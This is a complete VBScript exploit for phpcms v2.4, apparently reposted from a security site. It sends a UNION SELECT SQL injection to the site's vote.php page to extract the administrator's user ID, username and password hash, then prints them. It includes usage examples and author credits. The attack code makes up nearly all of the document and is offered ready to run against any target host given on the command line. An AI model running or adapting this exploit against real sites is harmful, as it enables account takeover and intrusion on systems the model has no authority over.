1.vbs
-------------------------------------------------------------------
on error resume next
Set objArgs = WScript.Arguments
dim my_http
dim my_path
dim fjhgx
print_r()
if objArgs.length = 0 then
quit_print()
End if
if objArgs(0) = null then
quit_print()
Else
my_http = objArgs(0)
End if
if objArgs(1) = null then
quit_print()
Else
my_path = objArgs(1)
End if
Set Http = CreateObject("Microsoft.XMLHTTP")
Http.Open "get","http://"&my_http&my_path&"vote.php?action=result&voteid=999999.9+UNION+ALL+SELECT+(Select concat(0x7e,0x27,userid,0x27,username,0x27,password,0x7e,0x27) FROM phpcms_member where adminid=1 limit 0,1)+,12,12,12,12,12,12,12,12,12,12,12,12--",False
Http.Send
fjhgx = Zhuanhuan(Http.responsebody)
Set Http = Nothing
if InStr(fjhgx, "voteid=~'") Then
Else
WScript.Echo "Exploit failed..."
wscript.quit '退出
End If
fjhgx = RegExpTest("WHERE voteid=~'.*~' ",fjhgx)
fjhgx = Replace(fjhgx,"WHERE voteid=~'","")
fjhgx = Replace(fjhgx,"~' ","")
dim fjhgx_b
fjhgx_b = Split(fjhgx,"'")
WScript.Echo " * [+] UserID : " & fjhgx_b(0)
WScript.Echo " * [+] Username : " & fjhgx_b(1)
WScript.Echo " * [+] Password : " & fjhgx_b(2)
Function print_r()
WScript.Echo "+---------------------------------------------------------------------------+"
WScript.Echo " phpcms v2.4 SQL injection exploit"
WScript.Echo " test: Fjhgx 俺是农村的"
WScript.Echo " mail: <a href="bugtosafe@gmail.com</a'>mailto:bugtosafe@gmail.com">bugtosafe@gmail.com</a>"
WScript.Echo " team: <a href="http://www.wolvez.org" target="_blank">http://www.wolvez.org</a>"
WScript.Echo "+---------------------------------------------------------------------------+"
End Function
Function quit_print()
WScript.Echo " Usage: CScript 1.vbs Url [Pre]"
WScript.Echo " Example:"
WScript.Echo " CScript 1.vbs localhost /"
WScript.Echo " CScript 1.vbs localhost /phpcms_v2.4/"
wscript.quit '退出
End Function
'创建转换函数用以转换编码
Function Zhuanhuan(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
Zhuanhuan = strReturn
End Function
Function RegExpTest(patrn, strng)
Dim regEx, Match, Matches ' 建立变量。
Set regEx = New RegExp ' 建立正则表达式。
regEx.Pattern = patrn ' 设置模式。
regEx.IgnoreCase = True ' 设置是否区分字符大小写。
regEx.Global = True ' 设置全局可用性。
Set Matches = regEx.Execute(strng) ' 执行搜索。
For Each Match in Matches ' 遍历匹配集合。
'RetStr = RetStr & "Match found at position "
'RetStr = RetStr & Match.FirstIndex & ". Match Value is '"
RetStr = RetStr & Match.Value & vbCRLF
Next
RegExpTest = RetStr
End Function
--------------------------------------------------------------------------------------------
京公网安备 11010502034610号
暂无评论